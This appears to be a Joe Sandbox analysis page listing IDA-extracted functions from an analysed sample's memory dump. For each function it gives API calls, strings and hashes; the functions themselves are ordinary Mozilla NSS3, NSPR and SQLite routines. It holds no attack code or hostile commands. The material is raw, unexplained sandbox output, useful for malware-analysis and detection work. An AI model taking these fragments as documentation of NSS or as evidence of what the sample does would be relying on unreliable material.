Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: bdb709f98d0e27f7cbceebcb875e7317de6aacb1c8b474a119dec6d185813b31
Instruction ID: b450d69fecd1e19efdfb2f7f0917f4b728ca6b29e4d8b82683131adccf46965f
Opcode Fuzzy Hash: bdb709f98d0e27f7cbceebcb875e7317de6aacb1c8b474a119dec6d185813b31
Instruction Fuzzy Hash: 1051F4B1A042109BE700DF28EC81B9BB7F4AF88318F054529E959D7741FB35E959CBD2

Function 6CC225C0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetSlotList), ref: 6CC225DD
PR_LogPrint.NSS3( pulCount = 0x%p,?), ref: 6CC2262A

Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD00BAB
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00BBA
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D7E

PR_LogPrint.NSS3( pSlotList = 0x%p,?), ref: 6CC2260F

Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00B88
Part of subcall function 6CD009D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD00C5D
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD00C8D
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00C9C
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00CD1
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD00CEC
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00CFB
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00D16
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD00D26
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D35
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD00D65
Part of subcall function 6CD009D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD00D70
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00D90
Part of subcall function 6CD009D0: free.MOZGLUE(00000000), ref: 6CD00D99

PR_LogPrint.NSS3( tokenPresent = 0x%x,?), ref: 6CC225F6

Part of subcall function 6CD009D0: PR_Now.NSS3 ref: 6CD00A22
Part of subcall function 6CD009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD00A35
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD00A66
Part of subcall function 6CD009D0: PR_GetCurrentThread.NSS3 ref: 6CD00A70
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD00A9D
Part of subcall function 6CD009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD00AC8
Part of subcall function 6CD009D0: PR_vsmprintf.NSS3(?,?), ref: 6CD00AE8
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00B19
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00B48
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00C76
Part of subcall function 6CD009D0: PR_LogFlush.NSS3 ref: 6CD00C7E

PR_LogPrint.NSS3( *pulCount = 0x%x,?), ref: 6CC22699
PR_LogPrint.NSS3( slotID[%d] = %x,00000000,?), ref: 6CC226C5

Strings

*pulCount = 0x%x, xrefs: 6CC22694
slotID[%d] = %x, xrefs: 6CC226C0
pSlotList = 0x%p, xrefs: 6CC2260A
tokenPresent = 0x%x, xrefs: 6CC225F1
pulCount = 0x%p, xrefs: 6CC22625
C_GetSlotList, xrefs: 6CC225D8

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$DebugOutputStringfflush$fwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: *pulCount = 0x%x$ pSlotList = 0x%p$ pulCount = 0x%p$ slotID[%d] = %x$ tokenPresent = 0x%x$C_GetSlotList
API String ID: 2625801553-2918917633
Opcode ID: 0d8d9bda25c807d36ef8f03316a57f342536dd3ad2410b05c9a92401e17b02be
Instruction ID: 20a7f793f4112129a09ba152a162bb041960afcb7b78451d4eb19b4fdea976fe
Opcode Fuzzy Hash: 0d8d9bda25c807d36ef8f03316a57f342536dd3ad2410b05c9a92401e17b02be
Instruction Fuzzy Hash: 2131AC36701185AFFB00CF54DD9CE5637B9EB4635DF444066EA0497A22EB34EC58CBA1

Function 6CBEAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CBEAF47

Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90AB
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90C9
Part of subcall function 6CCB9090: EnterCriticalSection.KERNEL32 ref: 6CCB90E5
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB9116
Part of subcall function 6CCB9090: LeaveCriticalSection.KERNEL32 ref: 6CCB913F

FreeLibrary.KERNEL32(?), ref: 6CBEAF6D
free.MOZGLUE(?), ref: 6CBEAFA4
free.MOZGLUE(?), ref: 6CBEAFAA
PR_ExitMonitor.NSS3 ref: 6CBEAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CBEAFF5
PR_ExitMonitor.NSS3 ref: 6CBEB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBEB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CBEB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBEB03C

Strings

Unloaded library %s, xrefs: 6CBEB023
%s decr => %d, xrefs: 6CBEAFF0

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: df52c81fcce6428deecb7236500a79b0389906d84ea1d4faec65000c373e039c
Instruction ID: d8af5ee22416b14889ea4dbf46706c90eeb4ca784bf584eadba1f727654a0d26
Opcode Fuzzy Hash: df52c81fcce6428deecb7236500a79b0389906d84ea1d4faec65000c373e039c
Instruction Fuzzy Hash: E93127B5B04150ABEF01AF64DC40A15BBBCEF09B9CB594235E905D7A40F332E818CBE2

Function 6CC48680 Relevance: 21.1, APIs: 14, Instructions: 91stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6CBF55D0,00000000,00000000), ref: 6CC4868B
PR_NewLock.NSS3(00000000,00000000), ref: 6CC486A0

Part of subcall function 6CCB98D0: calloc.MOZGLUE(00000001,00000084,6CBE0936,00000001,?,6CBE102C), ref: 6CCB98E5

PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6CC486B2

Part of subcall function 6CBDBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CBE21BC), ref: 6CBDBB8C

PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6CC486C8

Part of subcall function 6CBDBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBDBBEB
Part of subcall function 6CBDBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CBDBBFB
Part of subcall function 6CBDBB80: GetLastError.KERNEL32 ref: 6CBDBC03
Part of subcall function 6CBDBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CBDBC19
Part of subcall function 6CBDBB80: free.MOZGLUE(00000000), ref: 6CBDBC22

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6CC486E2
malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6CC486EC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6CC48700
DeleteCriticalSection.KERNEL32(-0000000C,?,?,00000000,00000000), ref: 6CC4871F
free.MOZGLUE(00000000,?,?,00000000,00000000), ref: 6CC48726
DeleteCriticalSection.KERNEL32(?,?,?,?,00000000,00000000), ref: 6CC48743
free.MOZGLUE(?,?,?,?,00000000,00000000), ref: 6CC4874A
DeleteCriticalSection.KERNEL32(-0000001C,?,00000000,00000000), ref: 6CC48759
free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CC48760
free.MOZGLUE(00000000,00000000,00000000), ref: 6CC4876C

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$CriticalSection$DeleteErrorcalloc$Cond$CountInitializeLastLockSpinmallocstrcpystrlen
String ID:
API String ID: 1802479574-0
Opcode ID: fda05832d1090949fe933f503ff1d6616c1adcdf40b91f2f3c8e9ca24b66650d
Instruction ID: c15386fdf049586800bd22ad9cbf76ba9f060b35d0ec9070b8dbf7940e86d097
Opcode Fuzzy Hash: fda05832d1090949fe933f503ff1d6616c1adcdf40b91f2f3c8e9ca24b66650d
Instruction Fuzzy Hash: 1021B6F5B002016BEB107F798C4995B3A6CAF812A97148534FA5AC7B41FB31D418C7A1

Function 6CC36C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC3781D,00000000,6CC2BE2C,?,6CC36B1D,?,?,?,?,00000000,00000000,6CC3781D), ref: 6CC36C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC3781D,?,6CC2BE2C,?), ref: 6CC36C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC3781D), ref: 6CC36C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC36C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC36C96

Part of subcall function 6CBE1240: TlsGetValue.KERNEL32(00000040,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE1267
Part of subcall function 6CBE1240: EnterCriticalSection.KERNEL32(?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE127C
Part of subcall function 6CBE1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE1291
Part of subcall function 6CBE1240: PR_Unlock.NSS3(?,?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC36CAA

Strings

dbm, xrefs: 6CC36CA4
sql:, xrefs: 6CC36C52
NSS_DEFAULT_DB_TYPE, xrefs: 6CC36C91
extern:, xrefs: 6CC36C7E
rdb:, xrefs: 6CC36C69
dbm:, xrefs: 6CC36C3A

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 029dbe369f79cf16f00119418e4d40d5af2b6fcdd3cd5ab3237ba3cb5a782bbe
Instruction ID: 9e7ff88f3c6c6fa4c3b6dcb54daf1a44a3a84913130ff751b37f9c783ea5d606
Opcode Fuzzy Hash: 029dbe369f79cf16f00119418e4d40d5af2b6fcdd3cd5ab3237ba3cb5a782bbe
Instruction Fuzzy Hash: 1101DFE1B02B2173F6003B797D5AF26251CABC218DF141431FF0CE2A81FB96E51C41A5

Function 6CC425F0 Relevance: 19.9, APIs: 8, Strings: 5, Instructions: 403stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC4A0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC1A5DF,?,00000000,6CBF28AD,00000000,?,6CC1A5DF,?,object), ref: 6CC4A0C0
Part of subcall function 6CC4A0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC1A5DF,?,00000000,6CBF28AD,00000000,?,6CC1A5DF,?,object), ref: 6CC4A0E8

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC42834
memcmp.VCRUNTIME140(00000000,00000020,00000020,?,?,?,?,?,?,?,?), ref: 6CC4284B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC42A98
memcmp.VCRUNTIME140(00000000,?,00000020,?,?,?,?,?,?,?,?,?,?), ref: 6CC42AAF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC42BDC
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC42BF3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC42D23
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?), ref: 6CC42D34

Strings

, xrefs: 6CC42A8E, 6CC42AAB
serial, xrefs: 6CC42AC2
manufacturer, xrefs: 6CC4285E
token, xrefs: 6CC425FA
model, xrefs: 6CC42C06

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcmpstrlen$strcmp
String ID: $manufacturer$model$serial$token
API String ID: 2407968032-2628435027
Opcode ID: daa5858ba714e13d569538f3f22320e22833728dab03ce1d0f4bd78f4531868e
Instruction ID: d5e41170523f9b72e255b5ebe1fad7ceed49264b7d05eba667cd86db976f6bcb
Opcode Fuzzy Hash: daa5858ba714e13d569538f3f22320e22833728dab03ce1d0f4bd78f4531868e
Instruction Fuzzy Hash: 3D02FDA2E0C3C96EF7318722C89DBD52AE05B0531CF4DD5F5C949CBAA3E6AC0989D351

Function 6CCD8780 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 443COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,-00000001,-00000001,00000000,?,?,6CCD849F,?,-00000001,-00000001,00000000,?,00000000,?,00000000), ref: 6CCD884C
sqlite3_free.NSS3(?,?,?,?,?,?,-00000001,00000000,?,?,6CCD849F,?,-00000001,-00000001,00000000,?), ref: 6CCD88F1
memset.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,?,?,-00000001,00000000,?,?,6CCD849F,?,-00000001), ref: 6CCD8929
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,-00000001,00000000,?,?,6CCD849F,?), ref: 6CCD8B4C
sqlite3_free.NSS3(?,?,?,?,?,?,?,-00000001,00000000,?,?,6CCD849F,?,-00000001,-00000001,00000000), ref: 6CCD8B7C
sqlite3_free.NSS3(0000000A,?,?,?,?,?,?,?,?,?,-00000001,00000000,?,?,6CCD849F,?), ref: 6CCD8CCF

Strings

another row available, xrefs: 6CCD8AB1
unknown error, xrefs: 6CCD88DD, 6CCD8B1B
%s.xBestIndex malfunction, xrefs: 6CCD8AEC
abort due to ROLLBACK, xrefs: 6CCD8B04
no more rows available, xrefs: 6CCD8B0E

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_free$memset
String ID: %s.xBestIndex malfunction$abort due to ROLLBACK$another row available$no more rows available$unknown error
API String ID: 2669552516-2256271834
Opcode ID: 6417f817d20b6804d3c3c8241a4f8b3026a1c52749ecfcaba302a0005b33efbb
Instruction ID: 18a8e7e26310bd215b52b9d2420bf6e4677bebed3dd0b3ef672b96701b894c1d
Opcode Fuzzy Hash: 6417f817d20b6804d3c3c8241a4f8b3026a1c52749ecfcaba302a0005b33efbb
Instruction Fuzzy Hash: E102D0B1A006058FDB14CF59C880AAEB7F1FF48314F16516AD95AABB51E735F882CBD0

Function 6CC44E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CC078F8), ref: 6CC44E6D

Part of subcall function 6CBE09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CBE06A2,00000000,?), ref: 6CBE09F8
Part of subcall function 6CBE09E0: malloc.MOZGLUE(0000001F), ref: 6CBE0A18
Part of subcall function 6CBE09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CBE0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CC078F8), ref: 6CC44ED9

Part of subcall function 6CC35920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CC37703,?,00000000,00000000), ref: 6CC35942
Part of subcall function 6CC35920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CC37703), ref: 6CC35954
Part of subcall function 6CC35920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC3596A
Part of subcall function 6CC35920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC35984
Part of subcall function 6CC35920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CC35999
Part of subcall function 6CC35920: free.MOZGLUE(00000000), ref: 6CC359BA
Part of subcall function 6CC35920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CC359D3
Part of subcall function 6CC35920: free.MOZGLUE(00000000), ref: 6CC359F5
Part of subcall function 6CC35920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CC35A0A
Part of subcall function 6CC35920: free.MOZGLUE(00000000), ref: 6CC35A2E
Part of subcall function 6CC35920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CC35A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44EB3

Part of subcall function 6CC44820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC44EB8,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC4484C
Part of subcall function 6CC44820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC44EB8,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC4486D
Part of subcall function 6CC44820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CC44EB8,?), ref: 6CC44884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44EC0

Part of subcall function 6CC44470: TlsGetValue.KERNEL32(00000000,?,6CC07296,00000000), ref: 6CC44487
Part of subcall function 6CC44470: EnterCriticalSection.KERNEL32(?,?,?,6CC07296,00000000), ref: 6CC444A0
Part of subcall function 6CC44470: PR_Unlock.NSS3(?,?,?,?,6CC07296,00000000), ref: 6CC444BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F8F
PK11_UpdateSlotAttribute.NSS3(?,6CD1DCB0,00000000), ref: 6CC44FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CC4501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC4506B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 8862593bde9c06f10d3cbb7e1ec9f558b58ef227b9a96edf2ddc42f258f9142e
Instruction ID: c733f44677e4183ad98e05a005b5508b890d691b1c38bcd438b144963512b4c9
Opcode Fuzzy Hash: 8862593bde9c06f10d3cbb7e1ec9f558b58ef227b9a96edf2ddc42f258f9142e
Instruction Fuzzy Hash: 255115B5D002059BEB01AF24EC01AAB76B9FF1531DF24C539ED0A86A51FB31D529CBD2

Function 6CBEACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBEACE2
malloc.MOZGLUE(00000001), ref: 6CBEACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBEAD02
TlsGetValue.KERNEL32 ref: 6CBEAD3C
calloc.MOZGLUE(00000001,?), ref: 6CBEAD8C
PR_Unlock.NSS3 ref: 6CBEADC0
free.MOZGLUE(00000000), ref: 6CBEAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBEAE58
free.MOZGLUE(00000000), ref: 6CBEAE69
free.MOZGLUE(?), ref: 6CBEAE78
PR_Unlock.NSS3 ref: 6CBEAE8C
free.MOZGLUE(?), ref: 6CBEAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBEAEC7

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 6605a372a7edafaec37737adf099f0c84945cc23fab90dfab507faf9023de06d
Instruction ID: 7a1278f829f4f52fef57effa191959c784de39ac5a9a303d52d288c439142acb
Opcode Fuzzy Hash: 6605a372a7edafaec37737adf099f0c84945cc23fab90dfab507faf9023de06d
Instruction Fuzzy Hash: 5E51D5B1E001658BEF00EF58DC416AE7B7CFB4AB89F548525DA15A3B50D331A909CFE2

Function 6CCC4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CCC4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCC4CFD
sqlite3_value_text16.NSS3(?), ref: 6CCC4D44

Strings

another row available, xrefs: 6CCC4D20
